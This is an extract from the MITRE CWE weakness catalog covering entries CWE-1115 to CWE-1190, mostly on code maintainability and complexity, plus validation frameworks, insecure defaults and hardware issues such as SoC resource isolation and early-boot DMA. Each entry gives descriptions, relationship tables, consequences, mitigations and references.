MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASURE >.

CWE-1115: Source Code Element without Standard Prologue

Weakness ID : 1115 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The source code contains elements such as source files that do not consistently provide a prologue or header that has been standardized for the project.

Extended Description

The lack of a prologue can make it more difficult to accurately and quickly understand the associated code. Standard prologues or headers may contain information such as module name, version number, author, date, purpose, function, assumptions, limitations, accuracy considerations, etc.

This issue makes it more difficult to maintain the software due to insufficient analyzability, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1078	Inappropriate Source Code Style or Formatting	1679

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASURE >.

CWE-1116: Inaccurate Comments

Weakness ID : 1116 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The source code contains comments that do not accurately describe or explain aspects of the portion of the code with which the comment is associated.

Extended Description

When a comment does not accurately reflect the associated code elements, this can introduce confusion to a reviewer (due to inconsistencies) or make it more difficult and less efficient to validate that the code is implementing the intended behavior correctly.

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1679

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_ >.

CWE-1117: Callable with Insufficient Behavioral Summary

Weakness ID : 1117 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code contains a function or method whose signature and/or associated inline documentation does not sufficiently describe the callable's inputs, outputs, side effects, assumptions, or return codes.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1679

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASURE >.

CWE-1118: Insufficient Documentation of Error Handling Techniques

Weakness ID : 1118 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The documentation does not sufficiently describe the techniques that are used for error handling, exception processing, or similar mechanisms.

Extended Description

Documentation may need to cover error handling techniques at multiple layers, such as module, executable, compilable code unit, or callable.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1059	Incomplete Documentation	1661

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1225	Documentation Issues	2017

Weakness Ordinalities

Indirect :

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_ >.

CWE-1119: Excessive Use of Unconditional Branching

Weakness ID : 1119 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code uses too many unconditional branches (such as "goto").

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1715

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASURI >.

CWE-1120: Excessive Code Complexity

Weakness ID : 1120 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The code is too complex, as calculated using a well-defined, quantitative measure.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365
ParentOf	B	1047	Modules with Circular Dependencies	1649
ParentOf	B	1056	Invokable Control Element with Variadic Parameters	1658
ParentOf	B	1060	Excessive Number of Inefficient Server-Side Data Accesses	1662
ParentOf	B	1064	Invokable Control Element with Signature Containing an Excessive Number of Parameters	1666
ParentOf	B	1075	Unconditional Control Flow Transfer outside of Switch Block	1676
ParentOf	B	1080	Source Code File with Excessive Number of Lines of Code	1681
ParentOf	B	1095	Loop Condition Value Update within the Loop	1695
ParentOf	B	1119	Excessive Use of Unconditional Branching	1714
ParentOf	B	1121	Excessive McCabe Cyclomatic Complexity	1716
ParentOf	B	1122	Excessive Halstead Complexity	1717
ParentOf	B	1123	Excessive Use of Self-Modifying Code	1717
ParentOf	B	1124	Excessively Deep Nesting	1718
ParentOf	B	1125	Excessive Attack Surface	1719

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

Scope	Impact	Likelihood
Other	Reduce Performance	

CWE-1121: Excessive McCabe Cyclomatic Complexity

Weakness ID : 1121 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code contains McCabe cyclomatic complexity that exceeds a desirable maximum.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1120	Excessive Code Complexity	1715

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-11		

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_ >.

[REF-964]Wikipedia. "Cyclomatic Complexity". 2018 April 3. < https://en.wikipedia.org/wiki/Cyclomatic_complexity >.

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1122: Excessive Halstead Complexity

Weakness ID : 1122 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code is structured in a way that a Halstead complexity measure exceeds a desirable maximum.

Extended Description

A variety of Halstead complexity measures exist, such as program vocabulary size or volume.

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1715

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASURE >.

[REF-965]Wikipedia. "Halstead complexity measures". 2017 November 2. < https://en.wikipedia.org/wiki/Halstead_complexity_measures >.

CWE-1123: Excessive Use of Self-Modifying Code

Weakness ID : 1123 **Status:** Incomplete
Structure : Simple

Abstraction : Base

Description

The product uses too much self-modifying code.

Extended Description

This issue makes it more difficult to understand or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1715

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_ >.

CWE-1124: Excessively Deep Nesting

Weakness ID : 1124 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code contains a callable or other code grouping in which the nesting / branching is too deep.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1715

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASURE >.

CWE-1125: Excessive Attack Surface

Weakness ID : 1125 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product has an attack surface whose quantitative measurement exceeds a desirable maximum.

Extended Description

Originating from software security, an "attack surface" measure typically reflects the number of input points and output points that can be utilized by an untrusted party, i.e. a potential attacker. A larger attack surface provides more places to attack, and more opportunities for developers to introduce weaknesses. In some cases, this measure may reflect other aspects of quality besides security; e.g., a product with many inputs and outputs may require a large number of tests in order to improve code coverage.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1715

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

References

[REF-966]Pratyusa Manadhata. "An Attack Surface Metric". 2008 November. < http://reports-archive.adm.cs.cmu.edu/anon/2008/CMU-CS-08-152.pdf >.

[REF-967]Pratyusa Manadhata and Jeannette M. Wing. "Measuring a System's Attack Surface". 2004. < http://www.cs.cmu.edu/afs/cs/usr/wing/www/publications/ManadhataWing04.pdf >.

CWE-1126: Declaration of Variable with Unnecessarily Wide Scope

Weakness ID : 1126 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The source code declares a variable in one scope, but the variable is only used within a narrower scope.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

CWE-1127: Compilation with Insufficient Warnings or Errors

Weakness ID : 1127 **Status:** Incomplete

Structure : Simple
Abstraction : Base

Description

The code is compiled without sufficient warnings enabled, which may prevent the detection of subtle bugs or quality issues.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

CWE-1164: Irrelevant Code

Weakness ID : 1164 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The program contains code that is not essential for execution, i.e. makes no state changes and has no side effects that alter data or control flow, such that removal of the code would have no impact to functionality or correctness.

Extended Description

Irrelevant code could include dead code, initialization that is not used, empty blocks, code that could be entirely removed due to optimization, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365
ParentOf	B	561	Dead Code	1133
ParentOf	V	563	Assignment to Variable without Use	1137
ParentOf	B	1071	Empty Code Block	1672

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	
Other	Reduce Performance	

CWE-1173: Improper Use of Validation Framework

Weakness ID : 1173 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The application does not use, or incorrectly uses, an input validation framework that is provided by the source language or an independent library.

Extended Description

Many modern coding languages provide developers with input validation frameworks to make the task of input validation easier and less error-prone. These frameworks will automatically check all input against specified criteria and direct execution to error handlers when invalid input is received. The improper use (i.e., an incorrect implementation or missing altogether) of these frameworks is not directly exploitable, but can lead to an exploitable condition if proper input validation is not performed later in the application. Not using provided input validation frameworks can also hurt the maintainability of code as future developers may not recognize the downstream input validation being used in the place of the validation framework.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19
ParentOf	V	102	Struts: Duplicate Validation Forms	227
ParentOf	V	105	Struts: Form Field Without Validator	234
ParentOf	V	106	Struts: Plug-in Framework not in Use	237
ParentOf	V	108	Struts: Unvalidated Action Form	242
ParentOf	V	109	Struts: Validator Turned Off	243
ParentOf	V	554	ASP.NET Misconfiguration: Not Using Input Validation Framework	1127
ParentOf	V	1174	ASP.NET Misconfiguration: Improper Model Validation	1723

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2015

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State *Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.*	

Detection Methods

Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis. A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present. Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Potential Mitigations

Phase: Implementation

Properly use provided input validation frameworks.

CWE-1174: ASP.NET Misconfiguration: Improper Model Validation

Weakness ID : 1174 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The ASP.NET application does not use, or incorrectly uses, the model validation framework.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1173	Improper Use of Validation Framework	1722

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : ASP.NET *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State *Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.*	

CWE-1176: Inefficient CPU Computation

Weakness ID : 1176 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The program performs CPU computations using algorithms that are not as efficient as they could be for the needs of the developer, i.e., the computations can be optimized further.

Extended Description

This issue can make the software perform more slowly, possibly in ways that are noticeable to the users. If an attacker can influence the amount of computation that must be performed, e.g. by triggering worst-case complexity, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	405	Asymmetric Resource Consumption (Amplification)	883
ParentOf	V	1042	Static Member Data Element outside of a Singleton Class Element	1644
ParentOf	B	1046	Creation of Immutable Text Using String Concatenation	1648
ParentOf	B	1049	Excessive Data Query Operations in a Large Data Table	1651
ParentOf	B	1063	Creation of Class Instance within a Static Code Block	1665
ParentOf	B	1067	Excessive Execution of Sequential Searches of Data Resource	1669

Weakness Ordinalities

Indirect :

Primary :

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	
Other	Reduce Performance	

References

[REF-1008]Wikipedia. "Computational complexity theory)". < https://en.wikipedia.org/wiki/Computational_complexity_theory >.

CWE-1177: Use of Prohibited Code

Weakness ID : 1177 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software uses a function, library, or third party component that has been explicitly prohibited, whether by the developer or the customer.

Extended Description

The developer - or customers - may wish to restrict or eliminate use of a function, library, or third party component for any number of reasons, including real or suspected vulnerabilities; difficulty to use securely; export controls or license requirements; obsolete or poorly-maintained code; internal code being scheduled for deprecation; etc.

To reduce risk of vulnerabilities, the developer might maintain a list of "banned" functions that programmers must avoid using because the functions are difficult or impossible to use securely. This issue can also make the software more costly and difficult to maintain.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365
ParentOf	B	242	Use of Inherently Dangerous Function	536
ParentOf	B	676	Use of Potentially Dangerous Function	1317

Weakness Ordinalities

Indirect :

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

References

[REF-1009]Tim Rains. "Microsoft's Free Security Tools - banned.h". 2012 August 0. < https://cloudblogs.microsoft.com/microsoftsecure/2012/08/30/microsofts-free-security-tools-banned-h/y >.

[REF-1010]Michael Howard. "Microsoft's Free Security Tools - banned.h". 2011 June. < https://msdn.microsoft.com/en-us/library/bb288454.aspxy >.

CWE-1188: Insecure Default Initialization of Resource

Weakness ID : 1188 **Status:** Incomplete

Structure : Simple
Abstraction : Base

Description

The software initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure.

Extended Description

Developers often choose default values that leave the software as open and easy to use as possible out-of-the-box, under the assumption that the administrator can (or should) change the default value. However, this ease-of-use comes at a cost when the default is insecure and the administrator does not change it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	665	Improper Initialization	1293
ParentOf	V	453	Insecure Default Variable Initialization	966

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	665	Improper Initialization	1293

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864
MemberOf	C	452	Initialization and Cleanup Errors	1867

Weakness Ordinalities

Primary :

Notes

Maintenance

This entry improves organization of concepts under initialization. The typical CWE model is to cover "Missing" and "Incorrect" behaviors. Arguably, this entry could be named as "Incorrect" instead of "Insecure." This might be changed in the near future.

CWE-1189: Improper Isolation of Shared Resources on System-on-Chip (SoC)

Weakness ID : 1189 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product does not properly isolate shared resources between trusted and untrusted agents.

Extended Description

A System-On-Chip (SoC) has a lot of functionality, but may have a limited number of pins or pads. A pin can only perform one function at a time. However, it can be configured to perform multiple different functions. This technique is called pin multiplexing. Similarly, several resources on the chip may be shared to multiplex and support different features or functions. When such resources are shared between trusted and untrusted agents, untrusted agents may be able to access the assets intended to be accessed only by the trusted agents.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1305

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *If shared resources are being used by a trusted user, it may be possible for untrusted agents to modify the functionality of the shared resource for the trusted user.*	
Integrity	Quality Degradation *The functionality of the shared resource may be intentionally degraded.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

Kernel integrity verification can help identify when shared resource configuration settings have been modified.

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

When sharing resources, avoid mixing agents of varying trust levels. Group untrusted agents together to access when sharing a resource. Similarly, group trusted agents (at same trust level).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2008

References

[REF-1036]Ali Abbasi and Majid Hashemi. "Ghost in the PLC Designing an Undetectable Programmable Logic Controller Rootkit via Pin Control Attack". 2016. < https://www.blackhat.com/docs/eu-16/materials/eu-16-Abbasi-Ghost-In-The-PLC-Designing-An-Undetectable-Programmable-Logic-Controller-Rootkit-wp.pdf >.

CWE-1190: DMA Device Enabled Too Early in Boot Phase

Weakness ID : 1190 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product enables a Direct Memory Access (DMA) capable device before the security configuration settings are established, which allows an attacker to extract data from or gain privileges on the product.

Extended Description

DMA is included in a number of devices because it allows data transfer between the computer and the connected device, using direct hardware access to read or write directly to main memory without any OS interaction. An attacker could exploit this to access secrets. Several virtualization-based mitigations have been introduced to thwart DMA attacks. These are usually configured/setup during boot time. However, certain IPs that are powered up before boot is complete (known as early boot IPs) may be DMA capable. Such IPs, if not trusted, could launch DMA attacks and gain access to assets that should otherwise be protected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	696	Incorrect Behavior Order	1348

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Modify Memory *DMA devices have direct write access to main memory and due to time of attack will be able to bypass OS or Bootloader access control.*	High

Potential Mitigations

Phase: Architecture and Design

Utilize an IOMMU to orchestrate IO access from the start of the boot process.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1196	Security Flow Issues	1194	2008

References

[REF-1038]"DMA attack". 2019 October 9. < https://en.wikipedia.org/wiki/DMA_attack >.

